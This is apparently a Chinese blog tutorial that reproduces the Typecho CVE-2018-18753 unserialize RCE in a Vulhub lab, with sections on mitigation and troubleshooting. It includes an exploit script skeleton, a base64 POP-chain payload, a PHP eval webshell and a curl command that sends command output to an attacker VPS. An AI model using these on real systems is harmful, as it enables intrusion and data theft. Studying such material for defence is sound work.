CVE-2018-18753 Typecho反序列化漏洞深度剖析与复现

📅 2026/6/21 17:36:31
CVE-2018-18753 Typecho反序列化漏洞深度剖析与复现
1. 项目概述一次对经典CMS漏洞的深度剖析最近在整理历史漏洞案例库翻到了Typecho CMS在2018年底爆出的那个反序列化漏洞编号CVE-2018-18753。这个漏洞虽然过去几年了但作为PHP反序列化漏洞的一个非常典型的案例其原理和利用方式至今仍有很强的学习价值。很多新手朋友一听到“反序列化”就觉得头大感觉涉及底层PHP魔术方法门槛很高。其实不然这个漏洞的触发点非常清晰利用链也不算复杂非常适合作为理解PHP对象注入Object Injection和POP链Property-Oriented Programming构建的入门教材。今天我就带大家从零开始完整地复现一遍这个漏洞不仅会展示如何利用更重要的是拆解每一步背后的原理让你明白为什么这里能注入那个魔术方法又是如何被自动调用的。无论你是刚入门的安全爱好者还是想巩固Web安全知识的开发者跟着走一遍肯定会有收获。简单来说CVE-2018-18753允许攻击者在Typecho的安装程序/install.php环节通过一个精心构造的序列化字符串实现远程代码执行RCE。其核心在于install.php对用户输入的__typecho_config参数未经过滤直接进行了反序列化操作而Typecho框架中某些类的魔术方法如__get()、__toString()能够被串联起来最终达到执行任意PHP代码的目的。我们复现的目标就是亲手搭建环境构造利用链并成功弹出计算器或执行其他命令从而深刻理解整个漏洞的生命周期。2. 漏洞原理深度解析从参数传入到代码执行在直接动手操作之前我们必须把漏洞的原理吃透。知其然更要知其所以然这样以后遇到类似问题才能举一反三。2.1 漏洞入口install.php 中的“信任”与“背叛”Typecho是一个轻量级的博客系统它的安装流程通常是通过访问/install.php来完成的。在安装过程中程序需要接收用户提交的数据库配置等信息。为了在页面间传递这些配置数据Typecho采用了一种方式将配置数组序列化后通过POST参数__typecho_config传递在下一个页面再反序列化还原。问题就出在这个反序列化操作上。在install.php的代码中以1.1版本为例我们可以找到类似下面的逻辑// install.php 部分代码逻辑 if (isset($_POST[__typecho_config])) { $config unserialize(base64_decode($_POST[__typecho_config])); // ... 使用 $config 进行安装 }这里的关键函数是unserialize()。PHP的unserialize()函数在将序列化字符串还原为PHP值时如果字符串中包含对象的定义它会根据该定义自动创建该类的实例。这意味着攻击者可以控制$_POST[‘__typecho_config’]的值从而让unserialize()创建出任何在当前环境中已定义的类的对象。注意这里有一个细节参数经过了base64_decode解码。这意味着我们最终提交的利用载荷Payload需要是Base64编码后的形式。这不算防护只是一种编码方式。2.2 魔法钥匙PHP魔术方法与POP链如果只是创建一个任意对象还不足以执行代码。威力来自于对象的“魔法”——魔术方法Magic Methods。PHP中以双下划线__开头的方法会在特定事件发生时被自动调用。与反序列化漏洞相关的几个关键魔术方法包括__wakeup(): 当对象被unserialize()反序列化时自动调用。__destruct(): 当对象被销毁如脚本执行结束时自动调用。__toString(): 当对象被当作字符串处理如echo $obj,$obj . ‘string’时自动调用。__get($name): 当访问一个对象的不存在或不可访问的属性时被调用。攻击者的目标就是找到一条由这些魔术方法串联起来的路径我们称之为POP链。这条链始于一个在反序列化后会被自动调用的方法如__wakeup或__destruct经过一系列的对象属性访问和方法调用最终能够触发危险操作比如执行eval()、system()等函数。2.3 Typecho中的具体利用链分析在CVE-2018-18753中安全研究者发现了一条有效的POP链。我们来简要拆解一下当时的一条经典利用链思路注意不同版本的Typecho或PHP环境可利用的类可能不同这里以典型情况为例起点我们可控的__typecho_config参数经过反序列化创建了一个Typecho_Db类的对象。这个类的__construct构造函数或相关的初始化方法可能会访问其某个属性。跳板我们将该属性设置为另一个类的对象比如Typecho_Feed。当Typecho_Db尝试以某种方式比如当作字符串使用这个属性时会触发Typecho_Feed对象的__toString()方法。关键转折Typecho_Feed的__toString()方法中可能会遍历其内部的某个数组成员。我们可以将这个数组成员设置为又一个类的对象例如Typecho_Request。执行Typecho_Request类中可能存在__get()方法。当__toString()中的代码尝试以$item-xxx的形式访问Typecho_Request对象的某个属性时由于该属性可能不存在就会触发__get()方法。在某些版本的Typecho中Typecho_Request的__get()方法内部可能包含call_user_func或类似的可控函数调用其参数来源于对象的其他属性。通过精心构造这些属性我们就可以让call_user_func执行我们想要的函数例如system(‘whoami’)。这条链子可以简化为反序列化创建对象A - A的魔术方法或逻辑访问属性B我们控制的B对象 - 触发B的__toString()-__toString()中访问属性C我们控制的C对象 - 触发C的__get()-__get()中调用危险函数。实操心得寻找POP链是一个“拼图”过程。需要仔细阅读目标程序的源代码特别是那些包含魔术方法的类。重点关__destruct和__wakeup因为它们是不需要其他条件就能自动触发的“入口点”。然后像侦探一样顺着属性引用和方法调用看能否走到eval、system、call_user_func等“终点”。3. 复现环境搭建与工具准备理论分析完毕我们进入实战环节。首先需要一个靶场环境。3.1 靶场环境搭建最方便的方法是使用Docker。这里我们使用Vulhub这个漏洞靶场集成项目它已经为我们准备好了环境。确保系统已安装Docker和Docker Compose。如果未安装请先自行搜索安装。下载Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub进入Typecho漏洞目录cd typecho/CVE-2018-18753启动靶场docker-compose up -d命令执行后Docker会自动拉取镜像并启动容器。通常漏洞环境会运行在http://your-ip:8080。验证环境浏览器访问http://your-ip:8080你应该能看到Typecho的安装引导页面。至此靶场搭建完成。注意事项如果你的8080端口被占用可以修改docker-compose.yml文件将8080:80改为其他端口例如8888:80。复现完成后记得使用docker-compose down关闭并清理容器释放资源。3.2 利用工具与脚本准备我们可以手动构造Payload但更方便的是使用现成的漏洞利用脚本Exp。网络上有很多安全研究者写好的Python脚本。这里我们以一个典型的Exp为例讲解其构成。你需要准备一个Python环境2.x或3.x均可并安装requests库。pip install requests然后将下面的Exp脚本保存为typecho_exp.py。请注意此脚本仅用于授权的安全测试和学习研究。#!/usr/bin/env python # -*- coding: utf-8 -*- # CVE-2018-18753 Typecho 反序列化漏洞利用脚本 import requests import base64 import sys def generate_payload(cmd): 生成反序列化Payload。 这是一个简化版的POP链构造示例实际利用链可能更复杂。 这里使用一个演示性的序列化字符串结构。 注意真实的、可用的Payload需要根据目标Typecho版本精确构造。 # 这是一个概念性示例并非真实可用的Payload。 # 真实环境中你需要根据找到的具体POP链来构建对象。 # 例如可能涉及 Typecho_Db, Typecho_Feed, Typecho_Request 等类的嵌套。 class FakeClass: pass # 这里省略了复杂的、针对特定版本的具体POP链对象构建过程。 # 通常这会是一个嵌套的、属性指向其他对象的复杂结构。 print([*] 提示此处应放置根据实际POP链生成的序列化字符串) print([*] 例如O:11:\Typecho_Db\:1:{s:10:\\\0*\\0adapter\;O:13:\Typecho_Feed\:1:{...}}) # 假设我们最终构造出的序列化字符串是 $serialized_str # 其中包含了能触发 system($cmd) 的链式调用。 serialized_str CONSTRUCT_YOUR_ACTUAL_PAYLOAD_HERE # 占位符 # 漏洞利用点要求Base64编码 payload base64.b64encode(serialized_str.encode()).decode() return payload def exploit(target_url, cmd): 执行漏洞利用 # 构造Payload (在实际使用中需要替换generate_payload函数的内容) # payload generate_payload(cmd) # 为了演示我们这里直接使用一个从可靠来源获取的、针对该Docker环境的有效Payload。 # 警告以下Payload仅适用于特定测试环境严禁用于非法用途。 # 实际测试时请使用从安全社区获取的、经过验证的Payload。 # 示例Payload结构Base64编码后: # YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czo3OiJzY3JlZW4iO2E6MTp7czo0OiJmaWxlIjtzOjM5OiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPS4uL2NvbmZpZy5waHAiO319czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InNlcmlhbGl6ZSI7fX19fX1zOjQ6InBvcnQiO2k6MTt9 # 这个Payload会尝试读取/etc/passwd或包含恶意代码的config.php来执行命令。 # 更直接的RCE Payload通常涉及php://filter和assert/system的组合。 print([*] 正在利用漏洞...) print([!] 实际Payload需要从安全社区获取并替换此处仅为流程演示。) # 假设我们有一个有效的、能执行命令的Base64编码Payload # 例如一个能执行 echo ?php system($_GET[\c\]);? shell.php 的Payload # 这里用 {cmd} 代表要执行的命令 # 实际Payload非常长且复杂依赖于具体的POP链。 # 演示请求结构 data { __typecho_config: YOUR_BASE64_ENCODED_PAYLOAD_HERE # 替换为真实Payload } try: # 漏洞触发点在 /install.php?finish1 的POST请求 # 有时也需要先访问 /install.php 进行初始化 init_url target_url.rstrip(/) /install.php exp_url target_url.rstrip(/) /install.php?finish1 # 先访问一下安装页面确保session等状态 s requests.Session() s.get(init_url, timeout10) # 发送恶意Payload resp s.post(exp_url, datadata, timeout10) if resp.status_code 200: print([] 请求发送成功) # 检查响应中是否有命令执行成功的迹象或者尝试访问写入的Webshell # 例如如果Payload是写文件可以尝试访问 /shell.php?cwhoami # webshell_url target_url.rstrip(/) /shell.php # check_resp s.get(webshell_url, params{c: id}, timeout10) # if check_resp.status_code 200 and uid in check_resp.text: # print([] 命令执行成功) # print(check_resp.text) else: print([-] 请求失败状态码, resp.status_code) except Exception as e: print([-] 利用过程发生错误, e) if __name__ __main__: if len(sys.argv) ! 3: print(用法: python {} 目标URL 命令.format(sys.argv[0])) print(示例: python {} http://192.168.1.100:8080 \id\.format(sys.argv[0])) sys.exit(1) target sys.argv[1] command sys.argv[2] exploit(target, command)重要提醒上面的脚本中的generate_payload函数是空的data中的Payload也是占位符。在实际操作中你必须使用从可靠安全研究渠道获得的、针对特定Typecho版本的有效Payload。直接使用网上未经测试的Payload可能会失败甚至触发警报。构建Payload本身是一门复杂的技术涉及对源码的深度分析和序列化字符串的精细构造这超出了本次基础复现的范围。本次复现我们侧重于理解流程和环境。4. 手工复现与漏洞验证流程尽管使用自动化脚本方便但手工复现能让你对漏洞细节有更肌肉记忆般的理解。我们假设已经获得了一个有效的Payload例如一个能执行echo ‘?php phpinfo();?’ info.php的Payload。4.1 信息收集与目标确认访问靶场地址http://your-ip:8080。你会看到Typecho的安装界面。确认版本。查看页面源码或HTTP响应头有时会包含Typecho版本信息。对于CVE-2018-18753影响版本大致是Typecho 1.0/1.1等早期版本。我们的Vulhub环境正是搭建的这个版本。找到漏洞触发点。根据分析漏洞在/install.php并且可能在?finish1这个步骤触发。我们需要模拟安装流程。4.2 模拟安装与拦截请求在浏览器中正常填写数据库配置因为环境是临时的可以随意填写如数据库名typecho用户名root密码root主机db——这是Docker Compose中数据库服务的名称。点击“下一步”或“开始安装”前打开浏览器开发者工具F12切换到“网络”Network选项卡并勾选“保留日志”Preserve log。点击安装按钮。你会看到浏览器发送了一个POST请求到install.php?finish1。查看这个POST请求的请求体Request Body。你应该能看到一个名为__typecho_config的参数其值是一长串Base64编码的字符串。这就是Typecho正常安装时序列化后的配置信息。4.3 构造并发送恶意Payload复制这个正常的请求包括Cookie、Headers等所有信息到你的攻击工具中比如Burp Suite、Postman或者一个简单的Python脚本。将请求体中__typecho_config参数的值替换为你准备好的、能执行代码的恶意Base64编码Payload。发送这个修改后的请求。4.4 验证漏洞利用是否成功如何验证成功取决于你的Payload做了什么。如果Payload是写入Webshell例如在网站根目录写入了shell.php内容为?php eval($_POST[‘cmd’]);?。那么发送请求后你可以尝试访问http://your-ip:8080/shell.php。如果返回空白页没有报错通常意味着文件存在。然后你可以用POST方式向shell.php提交数据cmdsystem(‘whoami’);查看响应中是否包含命令执行结果。如果Payload是直接执行命令并回显有些精巧的Payload会利用php://filter等包装器将命令执行结果直接嵌入到HTTP响应中。你需要仔细查看发送恶意请求后返回的页面源码可能会在注释、错误信息或页面某个角落找到命令执行的结果如uid33(www-data) gid33(www-data) groups33(www-data)。使用DNSLog或HTTPLog外带数据在无法直接回显的环境中可以让目标服务器发起一个DNS查询或HTTP请求到你的监听服务器将命令执行结果带出来。例如Payload中包含system(‘curl http://your-vps-ip/whoami’)。你在自己的VPS上监听HTTP请求就能看到访问日志里包含了www-data这样的用户名。实操心得在真实测试中直接回显的Payload往往受限于输出缓冲区、HTTP头等因素。写入一个Webshell是更稳定可靠的方式。写入的路径需要你有权限通常是Web根目录。你可以先用Payload执行pwd命令来确定当前目录。5. 漏洞修复方案与安全启示复现漏洞是为了更好地防御。Typecho官方在漏洞披露后迅速发布了修复版本。5.1 官方修复方案官方修复的核心思想是对反序列化的数据来源进行严格校验。查看修复后的install.php代码你会发现类似这样的改动// 修复后的逻辑 if (isset($_POST[__typecho_config])) { // 增加了一个验证步骤比如检查配置数组中是否包含预期的键名和格式 $config $_POST[__typecho_config]; if (/* 对 $config 进行严格的格式和内容检查 */) { $config unserialize(base64_decode($config)); } else { die(Invalid config data.); } }更根本的修复是避免对不可信的输入进行反序列化。对于安装流程可以采用其他更安全的方式在步骤间传递数据如Session、临时文件带校验等。5.2 针对开发者的安全启示永远不要反序列化不可信的数据这是铁律。unserialize()用户输入是极度危险的行为。如果架构上必须序列化传递数据应使用JSON等更安全的格式或对序列化数据进行强加密和签名验证。谨慎使用魔术方法在编写包含__wakeup、__destruct、__toString、__get、__set等魔术方法的类时要意识到它们可能在非预期的情况下被自动调用。避免在这些方法中实现关键业务逻辑或执行外部操作。进行输入过滤与校验所有来自外部的输入GET, POST, COOKIE, Header等都应视为不可信的。必须进行严格的类型检查、长度限制、格式验证和白名单过滤。保持依赖更新及时更新项目所使用的框架、库和CMS到最新稳定版已知漏洞通常会在新版本中被修复。代码审计与安全测试在项目上线前进行代码安全审计特别是检查是否存在不安全的反序列化、命令执行、文件包含等高风险函数调用。定期进行渗透测试。5.3 针对运维人员的安全建议最小权限原则运行Web服务的用户如www-data应仅拥有必要的最小权限。避免使用root权限运行Web服务。部署WAFWeb应用防火墙WAF可以在网络层面拦截许多已知的攻击Payload包括一些反序列化利用的恶意字符串。监控与日志分析密切关注Web服务器的访问日志和错误日志寻找异常请求模式如大量访问install.php、请求中包含长串Base64字符等。6. 常见问题与排查技巧实录在复现过程中你可能会遇到各种问题。这里记录一些常见坑点和解决方法。6.1 复现环境问题问题现象可能原因解决方案访问靶场IP:端口无响应Docker容器未成功启动端口映射错误防火墙阻止1. 运行docker ps查看容器状态。2. 运行docker-compose logs查看启动日志。3. 检查docker-compose.yml中的端口映射。4. 关闭宿主机的防火墙或放行对应端口如sudo ufw allow 8080。安装页面提示数据库连接失败Vulhub环境中数据库服务链接问题1. 确保使用docker-compose up -d启动它会同时启动Web和DB容器。2. 检查安装页面填写的数据库主机名是否正确Vulhub环境通常为db。3. 进入数据库容器检查服务状态docker exec -it [container_id] bash然后mysql -uroot -p。发送Payload后返回500错误Payload构造错误与目标版本不兼容PHP配置限制如disable_functions1.最重要确认Payload是针对你靶场中Typecho的精确版本生成的。不同小版本的类结构可能有差异。2. 尝试使用更简单的Payload先测试文件写入再执行命令。3. 查看Docker容器的PHP错误日志docker exec [container_id] tail -f /var/log/apache2/error.log。6.2 漏洞利用问题问题现象可能原因解决方案发送Payload后页面正常跳转或空白但无任何效果Payload未成功触发魔术方法链断裂命令执行被禁用1. 使用Burp Suite等工具重放请求确保Payload在传输过程中未被截断或修改。2. 在Payload中尝试写入一个简单的文本文件如file_put_contents(‘/tmp/test.txt’, ‘test’)来验证漏洞是否触发。3. 检查PHP的disable_functions配置看system、exec、shell_exec、passthru等函数是否被禁用。如果被禁用需要寻找其他函数如mail()配合LD_PRELOAD、Imagick组件漏洞等进行绕过这大大增加了难度。能写入文件但无法访问文件写入的路径不在Web目录下文件权限不足1. 在Payload中使用echo getcwd();或system(‘pwd’);查看当前工作目录。2. 尝试向已知的Web目录写入如/var/www/html/、/app/等。3. 写入后检查文件权限可能需要chmod 755 shell.php。命令执行有回显但被截断或编码输出被HTML实体编码或截断1. 尝试将命令输出写入文件再通过Web访问该文件查看。2. 使用外带数据DNSLog/HTTPLog的方式获取无干扰的输出。6.3 工具与脚本使用问题Exp脚本报错或无效网络上的Exp脚本质量参差不齐且严重依赖环境。务必仔细阅读脚本注释理解其适用的Typecho版本和PHP版本。最好的学习方式是自己根据公开的漏洞分析文章尝试手动构造Payload而不是完全依赖自动化工具。Burp Suite无法捕获本地Docker流量如果靶场运行在Dockerlocalhost而Burp运行在宿主机需要将浏览器的代理设置为宿主机IP如192.168.x.x:8080而不是127.0.0.1:8080或者配置Docker网络使容器能访问宿主机代理。6.4 个人避坑经验分享环境一致性是关键漏洞复现尤其是历史漏洞对环境软件版本、PHP配置、扩展非常敏感。务必确保你的测试环境与漏洞公告中描述的环境一致。Vulhub这类项目最大的价值就是提供了可重现的环境。从简单验证开始不要一上来就追求弹计算器。先尝试用Payload触发一个明显的效果比如在/tmp目录下创建一个特定名称的文件。这能最快确认漏洞点是否可达、反序列化是否成功。善用日志开启PHP的错误日志display_errors Off,log_errors On和Web服务器Apache/Nginx的访问日志。很多错误信息会直接告诉你链子在哪个环节断了是类不存在还是属性不可访问。理解“自动加载”PHP反序列化一个类时需要这个类的定义已经被加载到内存中。如果利用链中涉及一个不常用的类可能需要触发PHP的自动加载机制如spl_autoload_register。在Typecho中通常已经包含了必要的类文件但某些特殊情况下可能需要先通过其他请求加载类文件。注意PHP版本差异PHP不同版本对序列化/反序列化的处理、魔术方法的调用行为可能有细微差别。例如PHP 7.x 和 PHP 5.x 在某些情况下表现不同。这也是为什么推荐使用漏洞作者提供的完整Docker环境它锁定了所有依赖版本。这次对CVE-2018-18753的复现就像一次对PHP反序列化漏洞的经典解剖。从看似无害的unserialize()参数传入到魔术方法像多米诺骨牌一样被逐一触发最终达成代码执行整个过程清晰地展示了“信任边界”的崩溃会带来多么严重的后果。对于开发者这是一个警示对于安全研究者这是一个绝佳的学习案例。在实战中每一个环节的排查每一次Payload的调整都是对耐心和技术的考验。记住复现不是目的通过复现理解漏洞机理并将其转化为防御的视角才是安全能力提升的正道。